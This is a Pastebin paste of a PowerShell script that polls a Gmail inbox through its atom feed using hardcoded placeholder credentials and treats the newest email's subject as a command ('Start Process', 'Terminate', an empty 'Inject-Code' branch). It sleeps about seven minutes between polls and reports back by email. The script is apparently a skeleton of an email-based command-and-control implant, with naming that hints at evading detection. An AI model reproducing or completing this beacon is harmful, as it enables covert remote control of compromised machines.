Guest User

Untitled

a guest
Sep 29th, 2021
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function Measure-Latest {
  2.     begin { $latest = $null }
  3.     process {
  4.             if (($_ -ne $null) -and (($latest -eq $null) -or ($_ -gt
  5. $latest))) {
  6.                 $latest = $_
  7.             }
  8.     }
  9.     end { $latest }
  10. }
  11.  
  12. Function Break-FP
  13. {
  14.    
  15. $Body += @"
  16. [Breaking Search False Positive]
  17. "@
  18. $SMTPServer = "smtp.gmail.com"
  19. $SMTPPort = "587"
  20. Send-MailMessage -From $username -to $username -Subject "Break-FP" -Body $Body -BodyAsHtml -SmtpServer $SMTPServer -Port $SMTPPort -UseSsl -Credential $credential
  21.  
  22. }
  23.  
  24.         $username = "[email protected]_"
  25.         $password = "_PASSWORD_"
  26.         $secstr = New-Object -TypeName System.Security.SecureString
  27.         $password.ToCharArray() | ForEach-Object { $secstr.AppendChar($_) }
  28.  
  29.         $credential = New-Object System.Management.Automation.PSCredential($username,$secstr)
  30.  
  31. while($true){
  32. $webclient = new-object System.Net.WebClient
  33. $webclient.Credentials = new-object System.Net.NetworkCredential ("$username", "$password")
  34. [xml]$xml= $webclient.DownloadString("https://mail.google.com/mail/feed/atom")
  35. $latestmail = $xml.feed.entry.issued | Measure-Latest
  36.  
  37.  
  38.  
  39. if((Get-Date -format "yyyy-MM-dd") -match ((($xml.feed.entry | Where-Object {$_.issued -eq $latestmail}).issued) -replace ".{10}$"))
  40. {
  41.         switch ((($xml.feed.entry | Where-Object {$_.issued -eq $latestmail}).title))
  42.         {
  43.           "Start Process"         { $null;Break-FP          }
  44.           "Terminate"             { Break-FP;exit           }
  45.           "Inject-Code"           {                         }
  46.            default                { $null                   }
  47.         }
  48. }
  49.  
  50. Start-Sleep 421
  51. }
  52.  
  53.  
  54.  
Advertisement
Add Comment
Please, Sign In to add comment